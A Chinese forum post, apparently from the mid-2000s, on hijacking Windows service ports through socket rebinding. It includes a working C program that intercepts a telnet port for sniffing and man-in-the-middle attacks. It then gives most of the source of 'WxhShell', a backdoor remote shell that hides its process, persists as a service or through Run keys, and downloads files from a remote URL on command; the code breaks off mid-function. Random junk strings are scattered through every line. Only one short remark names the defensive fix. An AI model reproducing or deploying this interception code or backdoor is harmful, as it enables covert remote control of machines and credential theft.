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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9**u\H)P6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R2[ }  
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  saddr.sin_family = AF_INET; e}"k8 ./  
1]jUiX=T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E!>l@ ki  
~_SVQ7P  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4b$m\hoN  
M$LzV}k  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QjUojHz%Z  
]GHx<5Q:\  
  这意味着什么?意味着可以进行如下的攻击: V P4ToYc  
!]WC~#|{B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 d e~3:  
t+SLU6j,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v]KI=!Gs  
N_8L8ds5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?B,B<@='%  
e?b<-rL   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |=}v^o ZC  
m-!z(vcn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \~q cYp  
vui{["  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zn{[]J  
Y3wL EG%,:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `<l|XPv  
t]%! vXo  
  #include -Qco4>Z8  
  #include Pi|oO-M  
  #include }GTy{Y*&  
  #include    _A/ ]m4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,s1n! @9  
  int main() '}wYSG-  
  { T)B1V,2j=  
  WORD wVersionRequested; M+TF0c  
  DWORD ret; w]0jq U6  
  WSADATA wsaData; /C}fE]n{X  
  BOOL val; 6.'+y1yS)  
  SOCKADDR_IN saddr; }t #Hq  
  SOCKADDR_IN scaddr;  goT:\2  
  int err; MXhRnVz"W  
  SOCKET s; N6<23kYM  
  SOCKET sc; $bKa"T*  
  int caddsize; DD hc^(  
  HANDLE mt; d|sI>6jD  
  DWORD tid;   r4qFEFV3%  
  wVersionRequested = MAKEWORD( 2, 2 ); SVo`p;2r  
  err = WSAStartup( wVersionRequested, &wsaData ); thDE 1h  
  if ( err != 0 ) { '17u Wq  
  printf("error!WSAStartup failed!\n"); :r/rByd'  
  return -1; 6%_d m'  
  } ;mb 6i_  
  saddr.sin_family = AF_INET; c~|/,FZU'  
   qQ6NxhQo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wEMUr0Hq  
c(AjM9s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &4DV]9+g  
  saddr.sin_port = htons(23); h OboM3_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qwaw\vOA  
  { 4p~:(U[q  
  printf("error!socket failed!\n"); (<.1o_Q-LU  
  return -1; +T^m  
  } WiviH#hF  
  val = TRUE; Ahq^dx#o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #PA"l` "  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6CU8BDN  
  { 1.H"$D>TC  
  printf("error!setsockopt failed!\n");  Phgn|  
  return -1; XfsCu>  
  } X>|.BvY|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]3QQ"HLcp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _L!"3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D\V}Eo';6  
Krq^|DY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .+B)@?  
  { 5#f&WL*U@  
  ret=GetLastError(); t7A.b~#  
  printf("error!bind failed!\n"); M3F8@|2  
  return -1; -RH ?FJ  
  } ccm <rZ7  
  listen(s,2); p-; ]O~^  
  while(1) Y!*,G]7  
  { *} w.xt  
  caddsize = sizeof(scaddr); sfrh+o57  
  //接受连接请求 T)Nis~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m&A/IW,.  
  if(sc!=INVALID_SOCKET) a* IJ)'S  
  { BkqIfV%O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ) L{Tn 8  
  if(mt==NULL) oG*lU h}  
  { tc,7yo\".  
  printf("Thread Creat Failed!\n"); Ol%*3To  
  break; m#;:%.Rm  
  } nf G:4k,  
  } $qrr]U  
  CloseHandle(mt); ^3yjE/Wi"  
  } X7 Za Q .  
  closesocket(s); |XH3$;=*h  
  WSACleanup(); Vi?Z`G]w!  
  return 0; YHRI UY d  
  }   R&alq  
  DWORD WINAPI ClientThread(LPVOID lpParam) <zDe;&  
  { RY~)MS _C  
  SOCKET ss = (SOCKET)lpParam; c,~44Z  
  SOCKET sc; fVN}7PH7+  
  unsigned char buf[4096]; *HXq`B  
  SOCKADDR_IN saddr; RU >vnDaC  
  long num; &S-& 'ZAY  
  DWORD val; BxT~1SBFq  
  DWORD ret; nRE}F5k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QJE- $ :  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }-Ma ~/  
  saddr.sin_family = AF_INET; qlxW@|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Yptsq@s  
  saddr.sin_port = htons(23); &Egn`QU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [:=[QlvV  
  { B*AMo5  
  printf("error!socket failed!\n"); lKD@2  
  return -1; *h%G4M  
  } $^XPk#$m  
  val = 100; +UsR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PmY:sJ{M  
  { 9M=K@a  
  ret = GetLastError(); 8{l=`y"nB  
  return -1; @iceMD.  
  } k$ M4NF~$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,+BgY4OY  
  { c>!J@[,  
  ret = GetLastError(); M^f1D&A  
  return -1; \|t0~sRwh  
  } ;$E[u)l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .%<&W1  
  { |*NrS<"  
  printf("error!socket connect failed!\n"); u_"h/)C'H  
  closesocket(sc); &NQR*Tn  
  closesocket(ss); c]r|I %D  
  return -1; g DG m32  
  } L# 1vf  
  while(1) ko>_@]Jb  
  { _fCHj$I*]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6)$ N[FNs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9tEKA|8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n1>nnH]G  
  num = recv(ss,buf,4096,0); K@~#Gdnl  
  if(num>0) }x1IFTa!  
  send(sc,buf,num,0); /xbZC{R  
  else if(num==0) Z+W&C@Uw  
  break; ^ks^9*'|j  
  num = recv(sc,buf,4096,0); =ol][)Bd  
  if(num>0) F s\P/YX  
  send(ss,buf,num,0); cB}2(`z9 B  
  else if(num==0) ]e~^YZOs  
  break; TkoXzG8yE<  
  } ;_a oM&  
  closesocket(ss); 1@S6[&_  
  closesocket(sc); RT"2Us]*  
  return 0 ; XL=R]IC<.  
  } gVJ#LJ  
`UK+[`E  
BQ:Kx_   
========================================================== L)'rM-nkFh  
PEt8,,x<"  
下边附上一个代码,,WXhSHELL WN/#9]` P  
I=y j  
========================================================== %u0;.3Gw  
5yiiPK$qr  
#include "stdafx.h" f1$mh1J W  
cEjdImAzU  
#include <stdio.h> A<5`[<x$  
#include <string.h> pNQkKDbL+  
#include <windows.h> $2CGRhC  
#include <winsock2.h> e=UVsYNx  
#include <winsvc.h> v@uaf=x-  
#include <urlmon.h> mh7sY;SvM  
EJ ~k Z3  
#pragma comment (lib, "Ws2_32.lib") <?{}Bo0xG  
#pragma comment (lib, "urlmon.lib") ]</4#?_  
^MHn2Cv/~  
#define MAX_USER   100 // 最大客户端连接数 WriN]/yD  
#define BUF_SOCK   200 // sock buffer )B$P#dP)i  
#define KEY_BUFF   255 // 输入 buffer :U.)YHY  
9r+O!kF(  
#define REBOOT     0   // 重启 G0 /vn9&  
#define SHUTDOWN   1   // 关机 |z]2KjF&w-  
^+Vk#_2Q  
#define DEF_PORT   5000 // 监听端口 .!8X]trEg  
7$'mC9  
#define REG_LEN     16   // 注册表键长度 _d| 62VS  
#define SVC_LEN     80   // NT服务名长度 ;;'a--'"  
G6 8Nv:  
// 从dll定义API :sVHY2x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (5q%0|RzRs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); soq".+Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XCIa2Syo  
V}|v!h[O8  
// wxhshell配置信息 ]AA%J@  
struct WSCFG { 8q?;Hg  
  int ws_port;         // 监听端口 <@e+-$  
  char ws_passstr[REG_LEN]; // 口令 /Fo/_=FE2  
  int ws_autoins;       // 安装标记, 1=yes 0=no G4`Ut1g ^  
  char ws_regname[REG_LEN]; // 注册表键名 HD:%Yv  
  char ws_svcname[REG_LEN]; // 服务名 ft/^4QcyAM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y <Znv%M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5M Wvu,'%8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nSxb-Ce  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hyOm9WU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .i+* #djx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @v ~ Pwr!  
<m>l-]  
}; PNJe&q0*  
f>8B'%]  
// default Wxhshell configuration !rXcGj(k  
struct WSCFG wscfg={DEF_PORT, /iUUM t'  
    "xuhuanlingzhe", P YF.#@":&  
    1, 9y^kb+  
    "Wxhshell", ?cO8'4 bq  
    "Wxhshell", L8dU (P  
            "WxhShell Service", >Qm<-g  
    "Wrsky Windows CmdShell Service", t[?a @S~6  
    "Please Input Your Password: ", dm2CA0   
  1, 3u4*ofjE5  
  "http://www.wrsky.com/wxhshell.exe", ~y)bYG!G  
  "Wxhshell.exe" {M@@)27gW  
    }; kPO6gdwq$  
bR'mV-2'  
// 消息定义模块 w*:GM8=6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8jjFC9Cbn0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *"5N>F[L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $,KP]~?  
char *msg_ws_ext="\n\rExit."; mLg{6qm(q  
char *msg_ws_end="\n\rQuit."; 2gwZb/'i  
char *msg_ws_boot="\n\rReboot..."; B`*f(  
char *msg_ws_poff="\n\rShutdown..."; ,!I?)hwOC  
char *msg_ws_down="\n\rSave to "; p?V ?nCv1O  
9fNu?dE   
char *msg_ws_err="\n\rErr!"; Ak6MPuBB-  
char *msg_ws_ok="\n\rOK!"; +mc [S  
Hwp{<  
char ExeFile[MAX_PATH]; (LRM~5KVg  
int nUser = 0; Vd%v_Ek  
HANDLE handles[MAX_USER]; hV-V eKjZ(  
int OsIsNt; ~!ZmF(:  
T A\4uy6o  
SERVICE_STATUS       serviceStatus; ou'~{-_xd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VT% KN`l  
gMs+?SNHAh  
// 函数声明 5iQmZ [  
int Install(void); H|;*_  
int Uninstall(void); !/j,hO4Z4  
int DownloadFile(char *sURL, SOCKET wsh); oTCzYY  
int Boot(int flag); ~+N76BX  
void HideProc(void); V#0 dGP-Z  
int GetOsVer(void); 7v_i>_m]  
int Wxhshell(SOCKET wsl); ebN(05ZV  
void TalkWithClient(void *cs); 76-jMcGi  
int CmdShell(SOCKET sock); , 3X: )  
int StartFromService(void); ZfPd0 p  
int StartWxhshell(LPSTR lpCmdLine); +T0op4  
sM9FE{,mx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /!3ZWXY\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T[;; 9z  
l{Jt sI  
// 数据结构和表定义 Al7<s  
SERVICE_TABLE_ENTRY DispatchTable[] = }I]j&\  
{ z % x7fe  
{wscfg.ws_svcname, NTServiceMain}, ]^=|Zd-  
{NULL, NULL} XTJvV  
}; Q}kfM^i  
^Q0&.hL@  
// 自我安装 ha*X6R  
int Install(void) 55.;+B5L *  
{ +TC1nkX  
  char svExeFile[MAX_PATH]; LA-_3UJx  
  HKEY key; lT.zNhz:d9  
  strcpy(svExeFile,ExeFile); xXX/]x>  
GCT@o!  
// 如果是win9x系统,修改注册表设为自启动 AZ[75>  
if(!OsIsNt) { C+w__gO&r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ! ja[ 4.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8j%'9vPi  
  RegCloseKey(key); F|9+ +)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?^ZXU0IkP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n`q2s'Pc  
  RegCloseKey(key); bAf,aV/C&|  
  return 0; 7+}JgUh  
    } fb .J$fX  
  } f/}  
} @F>F#-2  
else { \m4T3fy  
'-vE%U@<  
// 如果是NT以上系统,安装为系统服务 #'@i lk/.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P z ?m>>#  
if (schSCManager!=0) 38~PWKt  
{ %}q .cV  
  SC_HANDLE schService = CreateService V8hO8  
  ( >3 l=*|9  
  schSCManager, %aU4,j^],o  
  wscfg.ws_svcname, xjo;kx\y^  
  wscfg.ws_svcdisp, -gS"pE^1  
  SERVICE_ALL_ACCESS, jin db#)bz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , igDG}q3jG  
  SERVICE_AUTO_START, `>6T&  
  SERVICE_ERROR_NORMAL, a2`%gh W3  
  svExeFile, ]H ~Y7\N-v  
  NULL, r}_lxr  
  NULL, =O!|IAe#  
  NULL, /.R<,/gj  
  NULL, X\Y}oa."A  
  NULL F8<"AI  
  );  G2`${aMS  
  if (schService!=0) hQRL,?  
  { vE%s, E,  
  CloseServiceHandle(schService); ~6`iY@)  
  CloseServiceHandle(schSCManager); 3e%nA8?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FJeiY#us  
  strcat(svExeFile,wscfg.ws_svcname); gAt~?HvW6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h}Rx_d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i?>tgmu.  
  RegCloseKey(key); 0:"2MSf>  
  return 0; mdW~~-@H  
    } F";.6%;AC  
  } %MZP)k,&U  
  CloseServiceHandle(schSCManager); ` #OSl  
} Xc*U+M >U  
} %'bJ:  
VfSj E.|  
return 1; e_.Gw"/Yl  
} :^i^0dC  
rh!;|xB|+  
// 自我卸载 7" 4z+w  
int Uninstall(void) -)v@jlg02  
{ d(-EcY>?  
  HKEY key; irbw'^;y  
R_ ZK0ar  
if(!OsIsNt) { $TG =w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?>$l  
  RegDeleteValue(key,wscfg.ws_regname); N\NyXh$  
  RegCloseKey(key); aJhxc<"e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [Wi 1|]X"G  
  RegDeleteValue(key,wscfg.ws_regname); :z&7W<  
  RegCloseKey(key); 8|@9{  
  return 0; e(?]SU|  
  } =2Cj,[$  
} wM~H(=s`D  
} wi_'iv  
else { SmhGZ  
I9?Ec6a_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aUc|V{Jp  
if (schSCManager!=0) pTJX""C  
{ MHU74//fe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;"kaF!  
  if (schService!=0) <lE?,jl  
  { Z hd#:d  
  if(DeleteService(schService)!=0) { O hVs#^  
  CloseServiceHandle(schService); CrC =A=e  
  CloseServiceHandle(schSCManager); dY(;]sxFr  
  return 0; Qkcjr]#^$  
  } B07v^!Z>  
  CloseServiceHandle(schService); "ZrOrdlg+A  
  } r)^vO+3u  
  CloseServiceHandle(schSCManager); j8Cho5C  
} 15U(={  
} ,ho3  
q{0R=jb  
return 1; :|+Qe e  
} oD9^ID+  
h6~$/`&]b  
// 从指定url下载文件 _n;;][]S  
int DownloadFile(char *sURL, SOCKET wsh) bQ'8SCe  
{ `=UWqb(K_  
  HRESULT hr; @-HG`c ct  
char seps[]= "/"; pav'1d%  
char *token; mN |r)4{`  
char *file; x/!5K|c  
char myURL[MAX_PATH]; gNYqAUG5  
char myFILE[MAX_PATH]; UC HZ2&  
3]RyTQ  
strcpy(myURL,sURL); +Q$h ]^>~  
  token=strtok(myURL,seps); Wp)*Mbq@  
  while(token!=NULL) Lfog {Vzs  
  { #]P9b@@e  
    file=token; 83%)/_&  
  token=strtok(NULL,seps); lf(`SYQnOY  
  } !-<p,z  
_ :Ag?2  
GetCurrentDirectory(MAX_PATH,myFILE); e:'?*BYVg3  
strcat(myFILE, "\\"); A@hppaP!  
strcat(myFILE, file); U8.7>ENnP&  
  send(wsh,myFILE,strlen(myFILE),0); _>+8og/%@  
send(wsh,"...",3,0); ]hos+;4p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +{<#(}  
  if(hr==S_OK) ^D%FX!$  
return 0; ziPR>iz-  
else ",6M)3{|c  
return 1; #>lG7Ns|4  
#J (~_%Wi  
} JN+_|`  
jhu07HX_  
// 系统电源模块 N IdZ  
int Boot(int flag) El\%E"Tk%  
{ yAL[[  
  HANDLE hToken; GZI`jS"lU  
  TOKEN_PRIVILEGES tkp; 'k;rH !R  
s\!>"J bAQ  
  if(OsIsNt) { ?POUtRN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oND@:>QBF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `F<jLU^3  
    tkp.PrivilegeCount = 1; y!tC20Q   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (T`E!A0I\?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yY?b.ty  
if(flag==REBOOT) { Gx`Lks  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) / 0 O=(  
  return 0; '3zc|eJt&  
} (hiyNMC  
else { <sK4#!K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ry9T U  
  return 0; >B]'fUt5a  
} x }Ad_#q  
  } 'AN>`\mR$  
  else { =[b)1FUp  
if(flag==REBOOT) { RuII!}*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /1Ue?)g  
  return 0; UMAgA!s  
} Zm6{n '  
else { zR2B- &]H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Tg!m`9s+  
  return 0; ~e6Brq  
} 1UPC e  
} Ym3\pRFiD  
Fu!RhsW5j  
return 1; R(q~ -3~  
} ^#-nE7  
n{6G"t:^l  
// win9x进程隐藏模块 u\C lP#  
void HideProc(void) L 4!{h|  
{ JvY}-}?c  
j~!X;PV3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yUpgoX(6  
  if ( hKernel != NULL ) |`.([2  
  { iyg*Xbmi~.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ytl4kaYS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yU9DSY\m{  
    FreeLibrary(hKernel); -3Hy*1A.  
  } E{|W(z,  
S:O O0<W  
return; xL\0B,]  
} thI F&  
Evedc*z~P  
// 获取操作系统版本 97}OL`y  
int GetOsVer(void) "'t0h{W r8  
{ 0N $v"uX@  
  OSVERSIONINFO winfo; 9b9$GyI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ME*LH r,  
  GetVersionEx(&winfo); >k (C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !qWH`[:  
  return 1; h2XfC. f  
  else 7eAX*Kgt<_  
  return 0; c-(UhN3WG  
} ]7RD"}  
d8c=L8~jt  
// 客户端句柄模块 R^Y <RI  
int Wxhshell(SOCKET wsl) |&zz,+E  
{ ?vbvBu{a  
  SOCKET wsh; Z'.AAOG  
  struct sockaddr_in client; ;IZwTXu!S  
  DWORD myID; c}2jmwq  
fTK3,s1=  
  while(nUser<MAX_USER) ?`PvL!'  
{ lE4HM$p   
  int nSize=sizeof(client); _sTROd)Vh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )8$=C#qC[  
  if(wsh==INVALID_SOCKET) return 1; ^G}47(  
67Th;h*sh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OWg(#pZk  
if(handles[nUser]==0) QC}CRkp  
  closesocket(wsh); ZZzMO6US0  
else pC@{DW;V6R  
  nUser++; {#@W)4)cA  
  } "i[@P)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZzJ?L4J5v  
|l]XpWV  
  return 0; [q8 P~l  
} )QU  
! t?iXZ  
// 关闭 socket :% ,:"  
void CloseIt(SOCKET wsh) #ML%ij 1  
{ ]H+8rY%+  
closesocket(wsh); JehrDC2N  
nUser--; klT@cO-9  
ExitThread(0); HMh"}I2n  
} %[ Z \S0C  
e?8FN. q  
// 客户端请求句柄 $Avjnm  
void TalkWithClient(void *cs) z`f($t[  
{ l)1r+@) \  
/rnu<Q#iH  
  SOCKET wsh=(SOCKET)cs; f'EuY17w  
  char pwd[SVC_LEN]; Lh!J >  
  char cmd[KEY_BUFF]; YUtC.TR1  
char chr[1]; RC7]'4o  
int i,j; 4NheWM6  
2fn&#kw/  
  while (nUser < MAX_USER) { b*c*r dTx  
P2#XKG  
if(wscfg.ws_passstr) { K8GP@yD]M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o$jLzE"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uKUiV%p!  
  //ZeroMemory(pwd,KEY_BUFF); g| I6'K!<  
      i=0; O;:mCt _H  
  while(i<SVC_LEN) { su{poQ}K  
P3+5?.p.  
  // 设置超时 4%>$-($  
  fd_set FdRead; s(/; U2"e  
  struct timeval TimeOut; ^/I 7|u]  
  FD_ZERO(&FdRead); < $lCkSx<Q  
  FD_SET(wsh,&FdRead); N4F.Y"R$(  
  TimeOut.tv_sec=8; cPyE 6\lN  
  TimeOut.tv_usec=0; 9PXFRxGA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -#u=\8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %)zodf  
'YmIKIw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g?goZPZB  
  pwd=chr[0]; cQy2"vtU  
  if(chr[0]==0xd || chr[0]==0xa) { zPn+ V7F  
  pwd=0; S9]'?|  
  break; m Bu  
  } nP$Ky1y G  
  i++; v_+{'F  
    } @E7DyU|  
Z'`<5A%;  
  // 如果是非法用户,关闭 socket 0l)~i' '  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n' n/Tu   
} snE8 K}4  
[=6]+V83M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y\4L{GlBM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )~)J?l3 {  
*2p t%eav  
while(1) { Gp?a(-K5  
[B\h$IcRv  
  ZeroMemory(cmd,KEY_BUFF); xHv ZV<#  
_S<3\%(0  
      // 自动支持客户端 telnet标准   *+Ek0M  
  j=0; ,w<S|#W~+  
  while(j<KEY_BUFF) { md)c0Bg8~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LG{,c.Qj*  
  cmd[j]=chr[0]; @vC4[:"pD}  
  if(chr[0]==0xa || chr[0]==0xd) { w'Y7IlC  
  cmd[j]=0; Ns>- o  
  break; +~m46eI  
  } N)uSG&S:  
  j++; 6Zm# bFQ  
    } q;T{|5/O  
x9UX!Z5*>  
  // 下载文件 _mqL8ho  
  if(strstr(cmd,"http://")) { )B"jF>9)[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]sf7{lVT  
  if(DownloadFile(cmd,wsh)) :%t U'w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?pW`cFLDHF  
  else xgVeN["  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aL+ o /  
  } T0wW<_jh  
  else { HJ=:8:  
!![DJ  
    switch(cmd[0]) { }eCw6  
  H%qsjB^  
  // 帮助 1gL2ia  
  case '?': { b|l:fT?&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #^u$  
    break; vOn`/5-  
  } 6 a(yp3  
  // 安装 dI.WK@W'o  
  case 'i': { w1Nm&}V  
    if(Install()) g0xuxK;9c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "h{q#~s  
    else kj#?whK6~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9vuyv*-}e  
    break; g/ T   
    } | k&Ck  
  // 卸载 \(?rQg@U  
  case 'r': { CM/H9Kz.  
    if(Uninstall()) $O&b``  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9&-dTayIz  
    else Sq>dt[7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DrKP%BnS  
    break; |HiE@  
    } y`Wty@  
  // 显示 wxhshell 所在路径 >:74%D0UF  
  case 'p': { 27eooY1  
    char svExeFile[MAX_PATH]; Jj; L3S  
    strcpy(svExeFile,"\n\r"); py$Q  
      strcat(svExeFile,ExeFile); =_.l8IYX$%  
        send(wsh,svExeFile,strlen(svExeFile),0); $t$ShT)  
    break; 'F+C4QAq  
    } "Gsc;X'id  
  // 重启 *>Ns_su7W  
  case 'b': { i?p$H0b n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |kyX3~  
    if(Boot(REBOOT)) Bd!bg|uO*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z^bQ^zk-  
    else { ,;EIh}  
    closesocket(wsh);  :|>h7v  
    ExitThread(0); G)EU_UE 9  
    } 8zZvht*  
    break; 3@etRd;]Kr  
    } b.2aHu( 3  
  // 关机 "3X2VFwoJ  
  case 'd': { VACQ+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &|s0P   
